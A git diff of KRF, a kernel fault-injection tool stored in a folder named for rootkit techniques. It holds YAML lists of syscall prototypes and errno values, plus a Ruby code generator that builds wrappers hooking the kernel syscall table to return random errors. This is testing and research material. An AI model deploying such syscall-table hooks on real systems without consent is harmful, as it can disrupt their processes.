Faulter/src/module/codegen/freebsd/utimes.yml new file mode 100644 index 0000000..c744e3c --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/utimes.yml @@ -0,0 +1,15 @@ +proto: struct thread *td, struct utimes_args *uap +parms: td, uap +errors: + - EACCES + - EFAULT + - EINVAL + - EIO + - ELOOP + - ENAMETOOLONG + - ENOENT + - ENOTDIR + - EPERM + - EROFS +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/utrace.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/utrace.yml new file mode 100644 index 0000000..e96a011 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/utrace.yml @@ -0,0 +1,8 @@ +proto: struct thread *td, struct utrace_args *uap +parms: td, uap +errors: + - EINVAL + - ENOMEM + - ENOSYS +profiles: + - proc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/uuidgen.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/uuidgen.yml new file mode 100644 index 0000000..97765db --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/uuidgen.yml @@ -0,0 +1,5 @@ +proto: struct thread *td, struct uuidgen_args *uap +parms: td, uap +errors: + - EFAULT + - EINVAL diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/wait4.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/wait4.yml new file mode 100644 index 0000000..cfc50bc --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/wait4.yml @@ -0,0 +1,9 @@ +proto: struct thread *td, struct wait4_args *uap +parms: td, uap +errors: + - ECHILD + - EFAULT + - EINTR + - EINVAL +profiles: + - proc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/wait6.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/wait6.yml new file mode 100644 index 0000000..8131ded --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/wait6.yml @@ -0,0 +1,9 @@ +proto: struct thread *td, struct wait6_args *uap +parms: td, uap +errors: + - ECHILD + - EFAULT + - EINTR + - EINVAL +profiles: + - proc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/write.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/write.yml new file mode 100644 index 0000000..32462d8 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/write.yml @@ -0,0 +1,16 @@ +proto: struct thread *td, struct write_args *uap +parms: td, uap +errors: + - EBADF + - EPIPE + - EFBIG + - EFAULT + - EINVAL + - ENOSPC + - EDQUOT + - EIO + - EINTR + - EAGAIN + - EROFS +profiles: + - io diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/writev.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/writev.yml new file mode 100644 index 0000000..be724b4 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/writev.yml @@ -0,0 +1,18 @@ +proto: struct thread *td, struct writev_args *uap +parms: td, uap +errors: + - EBADF + - EPIPE + - EFBIG + - EFAULT + - EINVAL + - ENOSPC + - EDQUOT + - EIO + - EINTR + - EAGAIN + - EROFS + - EDESTADDRREQ + - ENOBUFS +profiles: + - io diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/accept.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/accept.yml new file mode 100644 index 0000000..850aa1b --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/accept.yml @@ -0,0 +1,24 @@ +proto: int fd, struct sockaddr __user *upeer_sockaddr, int __user *upeer_addrlen +parms: fd, upeer_sockaddr, upeer_addrlen +errors: + - EBADF + - ECONNABORTED + - EFAULT +unlikely_errors: + - EAGAIN + - EWOULDBLOCK + - EBADF + - ECONNABORTED + - EFAULT + - EINTR + - EINVAL + - EMFILE + - ENFILE + - ENOBUFS + - ENOMEM + - ENOTSOCK + - EOPNOTSUPP + - EPROTO + - EPERM +profiles: + - net diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/access.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/access.yml new file mode 100644 index 0000000..d575d75 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/access.yml @@ -0,0 +1,16 @@ +proto: const char __user *filename, int mode +parms: filename, mode +errors: + - EACCES + - ELOOP + - ENAMETOOLONG + - ENOENT + - ENOTDIR + - EROFS + - EFAULT + - EINVAL + - EIO + - ENOMEM + - ETXTBSY +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/adjtimex.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/adjtimex.yml new file mode 100644 index 0000000..f899798 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/adjtimex.yml @@ -0,0 +1,8 @@ +proto: struct timex __user *txc_p +parms: txc_p +errors: + - EFAULT + - EINVAL + - EPERM +profiles: + - time diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/bind.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/bind.yml new file mode 100644 index 0000000..f507dfe --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/bind.yml @@ -0,0 +1,18 @@ +proto: int fd, struct sockaddr __user *umyaddr, int addrlen +parms: fd, umyaddr, addrlen +errors: + - EACCES + - EADDRINUSE + - EBADF + - EINVAL + - ENOTSOCK + - EADDRNOTAVAIL + - EFAULT + - ELOOP + - ENAMETOOLONG + - ENOENT + - ENOMEM + - ENOTDIR + - EROFS +profiles: + - net diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/brk.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/brk.yml new file mode 100644 index 0000000..76d9480 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/brk.yml @@ -0,0 +1,6 @@ +proto: unsigned long addr +parms: addr +errors: + - ENOMEM +profiles: + - mm diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/chdir.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/chdir.yml new file mode 100644 index 0000000..22c63e5 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/chdir.yml @@ -0,0 +1,13 @@ +proto: const char __user *filename +parms: filename +errors: + - EACCES + - EFAULT + - EIO + - ELOOP + - ENAMETOOLONG + - ENOENT + - ENOMEM + - ENOTDIR +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/chmod.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/chmod.yml new file mode 100644 index 0000000..7c23a27 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/chmod.yml @@ -0,0 +1,15 @@ +proto: const char __user *filename, umode_t mode +parms: filename, mode +errors: + - EACCES + - EFAULT + - EIO + - ELOOP + - ENAMETOOLONG + - ENOENT + - ENOMEM + - ENOTDIR + - EPERM + - EROFS +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/chown.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/chown.yml new file mode 100644 index 0000000..e03f006 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/chown.yml @@ -0,0 +1,14 @@ +proto: const char __user *filename, uid_t user, gid_t group +parms: filename, user, group +errors: + - EACCES + - EFAULT + - ELOOP + - ENAMETOOLONG + - ENOENT + - ENOMEM + - ENOTDIR + - EPERM + - EROFS +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/chroot.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/chroot.yml new file mode 100644 index 0000000..64a97b5 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/chroot.yml @@ -0,0 +1,14 @@ +proto: const char __user *filename +parms: filename +errors: + - EACCES + - EFAULT + - EIO + - ELOOP + - ENAMETOOLONG + - ENOENT + - ENOMEM + - ENOTDIR + - EPERM +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/clock_adjtime.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/clock_adjtime.yml new file mode 100644 index 0000000..41dcfa7 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/clock_adjtime.yml @@ -0,0 +1,7 @@ +proto: const clockid_t which_clock, struct timex __user *utx +parms: which_clock, utx +errors: + - EINVAL + - EPERM +profiles: + - time diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/clock_getres.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/clock_getres.yml new file mode 100644 index 0000000..32be5cb --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/clock_getres.yml @@ -0,0 +1,7 @@ +proto: const clockid_t which_clock, struct timespec __user *tp +parms: which_clock, tp +errors: + - EFAULT + - EINVAL +profiles: + - time diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/clock_gettime.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/clock_gettime.yml new file mode 100644 index 0000000..1e5cd60 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/clock_gettime.yml @@ -0,0 +1,8 @@ +# See gettimeofday.yml; you probably need to disable the VDSO for this. +proto: const clockid_t which_clock, struct timespec __user *tp +parms: which_clock, tp +errors: + - EFAULT + - EINVAL +profiles: + - time diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/clock_nanosleep.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/clock_nanosleep.yml new file mode 100644 index 0000000..e552851 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/clock_nanosleep.yml @@ -0,0 +1,8 @@ +proto: const clockid_t which_clock, int flags, const struct timespec __user *rqtp, struct timespec __user *rmtp +parms: which_clock, flags, rqtp, rmtp +errors: + - EFAULT + - EINTR + - EINVAL +profiles: + - time diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/clock_settime.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/clock_settime.yml new file mode 100644 index 0000000..d72f7ef --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/clock_settime.yml @@ -0,0 +1,8 @@ +proto: const clockid_t which_clock, const struct timespec __user *tp +parms: which_clock, tp +errors: + - EFAULT + - EINVAL + - EPERM +profiles: + - time diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/clone.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/clone.yml new file mode 100644 index 0000000..36b26c7 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/clone.yml @@ -0,0 +1,12 @@ +proto: unsigned long clone_flags, unsigned long newsp, int __user *parent_tidptr, int __user *child_tidptr, unsigned long tls +parms: clone_flags, newsp, parent_tidptr, child_tidptr, tls +errors: + - EAGAIN + - EINVAL + - ENOMEM + - ENOSPC + - EUSERS + - EPERM + - ERESTARTNOINTR +profiles: + - proc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/close.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/close.yml new file mode 100644 index 0000000..e0b8f50 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/close.yml @@ -0,0 +1,16 @@ +proto: unsigned int fd +parms: fd +errors: + - EBADF +unlikely_errors: + # - EAGAIN + # - EWOULDBLOCK + - EBADF + - EINTR + - EIO + - ENOSPC + - EDQUOT + # - EISDIR +profiles: + - fs + - io diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/codegen b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/codegen new file mode 100644 index 0000000..365d44a --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/codegen @@ -0,0 +1,137 @@ +#!/usr/bin/env ruby +# frozen_string_literal: true + +# Linux codegen for KRF +# Like all code generators, this file is ugly. +# https://filippo.io/linux-syscall-table/ + +require "yaml" + +PLATFORM = `uname -s`.chomp!.downcase! +RELEASE = `uname -r`.chomp! +CONSERVATIVE = (ARGV.shift == "conservative") + +abort "Barf: Linux codegen requested but platform is #{PLATFORM}" if PLATFORM != "linux" + +HEADER = <<~HEADER + /* WARNING! + * This file was generated by KRF's codegen. + * Do not edit it by hand. + */ +HEADER + +SYSCALL_SPECS = Dir[File.join(__dir__, "*.yml")] + +SYSCALLS = SYSCALL_SPECS.map do |path| + spec = YAML.safe_load File.read(path) + [File.basename(path, ".yml"), spec] +end.to_h + +SOURCE_DIR = File.expand_path "../../#{PLATFORM}", __dir__ + +KERNEL_CONFIG = "/lib/modules/#{RELEASE}/build/.config" + +abort "Barf: Missing config for #{RELEASE}: #{KERNEL_CONFIG}" unless File.file? KERNEL_CONFIG + +def hai(msg) + STDERR.puts "[codegen] #{msg}" +end + +hai "output directory: #{SOURCE_DIR}" + +has_syscall_wrappers = File.readlines(KERNEL_CONFIG).any? do |line| + line.include? "CONFIG_ARCH_HAS_SYSCALL_WRAPPER=y" +end + +gen_files = { + krf_x: File.open(File.join(SOURCE_DIR, "krf.gen.x"), "w"), + syscalls_h: File.open(File.join(SOURCE_DIR, "syscalls.gen.h"), "w"), + syscalls_x: File.open(File.join(SOURCE_DIR, "syscalls.gen.x"), "w"), + internal_h: File.open(File.join(SOURCE_DIR, "syscalls", "internal.gen.h"), "w"), +} + +gen_files.each_value { |file| file.puts HEADER } + +SYSCALLS.each do |call, spec| + # Each syscall requires code generation in 5 files: + # 1. krf.gen.x, to tell krf that we're interested in faulting it + # 2. syscalls.gen.h, to prototype the initial wrapper + # 3. syscalls.gen.x, to set up the initial wrapper + # 4. syscalls/internal.gen.h, to prototype the internal wrapper + # 5. syscalls/.gen.c, to set up the actual faulty calls + + name = spec["name"] || call + nr = spec["nr"] || name + number = "__NR_#{nr}" + proto, parms = if has_syscall_wrappers + ["const struct pt_regs* regs", "regs"] + else + [spec["proto"], spec["parms"]] + end + + hai "#{call} (nr: #{number})" + gen_files[:krf_x].puts <<~KRF_X + krf_faultable_table[#{number}] = (void *)&krf_sys_#{call}; + KRF_X + + gen_files[:syscalls_x].puts <<~SYSCALLS_X + asmlinkage long krf_sys_#{call}(#{proto}) { + long (*real_#{name})(#{proto}) = (void *)krf_sys_call_table[#{number}]; + + if (krf_targeted(KRF_TARGETING_PARMS) && (KRF_RNG_NEXT() % krf_probability) == 0) { + return krf_sys_internal_#{call}(#{parms}); + } else { + return real_#{name}(#{parms}); + } + } + SYSCALLS_X + + # NOTE(ww): Kernels built with syscall wrappers don't have + # sys_$whatever exposed via syscalls.h, so typeof doesn't work. + gen_files[:syscalls_h].puts <<~SYSCALLS_H + asmlinkage long krf_sys_#{call}(#{proto}); + SYSCALLS_H + + gen_files[:internal_h].puts <<~INTERNAL_H + long krf_sys_internal_#{call}(#{proto}); + INTERNAL_H + + syscall_c = File.join(SOURCE_DIR, "syscalls", "#{call}.gen.c") + File.open(syscall_c, "w") do |file| + file.puts HEADER + file.puts <<~SETUP + #include "internal.h" + + SETUP + + fault_table = [] + errors = spec["errors"] + errors += spec.fetch("unlikely_errors", []) unless CONSERVATIVE + errors.uniq.each do |fault| + fault_table << "krf_sys_internal_#{call}_#{fault}" + + file.puts <<~FAULT + static long krf_sys_internal_#{call}_#{fault}(#{proto}) { + if (krf_log_faults) { + KRF_LOG("faulting #{call} with #{fault}\\n"); + } + + return -#{fault}; + } + FAULT + end + + file.puts <<~TRAILER + static long (*fault_table[])(#{proto}) = { + #{fault_table.join ", "} + }; + + // Fault entrypoint. + long krf_sys_internal_#{call}(#{proto}) { + return fault_table[KRF_RNG_NEXT() % NFAULTS](#{parms}); + } + TRAILER + end +end + +gen_files.each_value(&:close) diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/connect.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/connect.yml new file mode 100644 index 0000000..301b251 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/connect.yml @@ -0,0 +1,22 @@ +proto: int fd, struct sockaddr __user *uservaddr, int addrlen +parms: fd, uservaddr, addrlen +errors: + - EACCES + - EPERM + - EADDRINUSE + - EADDRNOTAVAIL + - EAFNOSUPPORT + - EAGAIN + - EALREADY + - EBADF + - ECONNREFUSED + - EFAULT + - EINPROGRESS + - EINTR + - EISCONN + - ENETUNREACH + - ENOTSOCK + - EPROTOTYPE + - ETIMEDOUT +profiles: + - net diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/creat.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/creat.yml new file mode 100644 index 0000000..e991367 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/creat.yml @@ -0,0 +1,35 @@ +proto: const char __user *pathname, umode_t mode +parms: pathname, mode +errors: + - EACCES + - EFAULT + - EEXIST + - EBADF +unlikely_errors: + - EACCES + - EDQUOT + # - EEXIST + - EFAULT + - EFBIG + - EINTR + - EINVAL + # - EISDIR + - ELOOP + - EMFILE + - ENAMETOOLONG + - ENFILE + # - ENODEV + # - ENOENT + - ENOMEM + - ENOSPC + - ENOTDIR + # - ENXIO + - EOVERFLOW + - EPERM + - EROFS + - ETXTBSY + # - EWOULDBLOCK + - EBADF +profiles: + - fs + - io diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/dup.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/dup.yml new file mode 100644 index 0000000..f6275ba --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/dup.yml @@ -0,0 +1,8 @@ +proto: unsigned int fildes +parms: fildes +errors: + - EBADF + - EBUSY + - EINTR + - EINVAL + - EMFILE diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/dup2.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/dup2.yml new file mode 100644 index 0000000..84d3c5e --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/dup2.yml @@ -0,0 +1,8 @@ +proto: unsigned int oldfd, unsigned int newfd +parms: oldfd, newfd +errors: + - EBADF + - EBUSY + - EINTR + - EINVAL + - EMFILE diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/faccessat.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/faccessat.yml new file mode 100644 index 0000000..6dabd3a --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/faccessat.yml @@ -0,0 +1,17 @@ +proto: int dfd, const char __user *filename, int mode +parms: dfd, filename, mode +errors: + - EACCES + - ELOOP + - ENAMETOOLONG + - ENOENT + - ENOTDIR + - EROFS + - EFAULT + - EINVAL + - EIO + - ENOMEM + - ETXTBSY + - EBADF +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/fchdir.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/fchdir.yml new file mode 100644 index 0000000..e6fbab1 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/fchdir.yml @@ -0,0 +1,7 @@ +proto: unsigned int fd +parms: fd +errors: + - EACCES + - EBADF +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/fchmod.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/fchmod.yml new file mode 100644 index 0000000..489eb63 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/fchmod.yml @@ -0,0 +1,9 @@ +proto: unsigned int fd, umode_t mode +parms: fd, mode +errors: + - EBADF + - EIO + - EPERM + - EROFS +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/fchmodat.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/fchmodat.yml new file mode 100644 index 0000000..c024cd2 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/fchmodat.yml @@ -0,0 +1,18 @@ +proto: int dfd, const char __user *filename, umode_t mode +parms: dfd, filename, mode +errors: + - EACCES + - EFAULT + - EIO + - ELOOP + - ENAMETOOLONG + - ENOENT + - ENOMEM + - ENOTDIR + - EPERM + - EROFS + - EBADF + - EINVAL + - ENOTSUPP +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/fchown.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/fchown.yml new file mode 100644 index 0000000..c03c61b --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/fchown.yml @@ -0,0 +1,10 @@ +proto: unsigned int fd, uid_t user, gid_t group +parms: fd, user, group +errors: + - EBADF + - EIO + - ENOENT + - EPERM + - EROFS +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/fchownat.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/fchownat.yml new file mode 100644 index 0000000..fd67cfd --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/fchownat.yml @@ -0,0 +1,17 @@ +proto: int dfd, const char __user *filename, uid_t user, gid_t group, int flag +parms: dfd, filename, user, group, flag +errors: + - EACCES + - EFAULT + - ELOOP + - ENAMETOOLONG + - ENOENT + - ENOMEM + - ENOTDIR + - EPERM + - EROFS + - EBADF + - EINVAL + - ENOTDIR +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/fcntl.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/fcntl.yml new file mode 100644 index 0000000..e7bb751 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/fcntl.yml @@ -0,0 +1,15 @@ +proto: unsigned int fd, unsigned int cmd, unsigned long arg +parms: fd, cmd, arg +errors: + - EACCES + - EAGAIN + - EBADF + - EBUSY + - EDEADLK + - EFAULT + - EINTR + - EINVAL + - EMFILE + - ENOLCK + - ENOTDIR + - EPERM diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/fdatasync.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/fdatasync.yml new file mode 100644 index 0000000..2faf97c --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/fdatasync.yml @@ -0,0 +1,10 @@ +proto: unsigned int fd +parms: fd +errors: + - EBADF + - EIO + - ENOSPC + - EROFS + - EINVAL + - ENOSPC + - EDQUOT diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/flock.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/flock.yml new file mode 100644 index 0000000..946b42b --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/flock.yml @@ -0,0 +1,10 @@ +proto: unsigned int fd, unsigned int cmd +parms: fd, cmd +errors: + - EBADF + - EINTR + - EINVAL + - ENOLCK + - EWOULDBLOCK +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/fork.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/fork.yml new file mode 100644 index 0000000..30a1131 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/fork.yml @@ -0,0 +1,8 @@ +proto: void +errors: + - EAGAIN + - ENOMEM + - ENOSYS + - ERESTARTNOINTR +profiles: + - proc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/fstat.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/fstat.yml new file mode 100644 index 0000000..77763c0 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/fstat.yml @@ -0,0 +1,9 @@ +proto: unsigned int fd, struct __old_kernel_stat __user *statbuf +parms: fd, statbuf +errors: + - EBADF + - EFAULT + - ENOMEM + - EOVERFLOW +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/fstatfs.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/fstatfs.yml new file mode 100644 index 0000000..5589865 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/fstatfs.yml @@ -0,0 +1,12 @@ +proto: unsigned int fd, struct statfs __user *buf +parms: fd, buf +errors: + - EBADF + - EFAULT + - EINTR + - EIO + - ENOMEM + - ENOSYS + - EOVERFLOW +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/fsync.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/fsync.yml new file mode 100644 index 0000000..156da40 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/fsync.yml @@ -0,0 +1,13 @@ +proto: unsigned int fd +parms: fd +errors: + - EBADF + - EIO + - ENOSPC + - EROFS + - EINVAL + - ENOSPC + - EDQUOT +profiles: + - fs + - io diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/ftruncate.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/ftruncate.yml new file mode 100644 index 0000000..e8aefa8 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/ftruncate.yml @@ -0,0 +1,19 @@ +proto: unsigned int fd, unsigned long length +parms: fd, length +errors: + - EACCES + - EFBIG + - EINTR + - EINVAL + - EIO + - EISDIR + - ELOOP + - ENAMETOOLONG + - ENOENT + - EPERM + - EROFS + - ETXTBSY + - EBADF +profiles: + - fs + - io diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/getcpu.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/getcpu.yml new file mode 100644 index 0000000..62e2898 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/getcpu.yml @@ -0,0 +1,6 @@ +proto: unsigned __user *cpu, unsigned __user *node, struct getcpu_cache __user *cache +parms: cpu, node, cache +errors: + - EFAULT +profiles: + - proc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/getcwd.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/getcwd.yml new file mode 100644 index 0000000..ca9ecce --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/getcwd.yml @@ -0,0 +1,12 @@ +proto: char __user *buf, unsigned long size +parms: buf, size +errors: + - EACCES + - EFAULT + - EINVAL + - ENAMETOOLONG + - ENOENT + - ENOMEM + - ERANGE +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/getpeername.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/getpeername.yml new file mode 100644 index 0000000..556b2ff 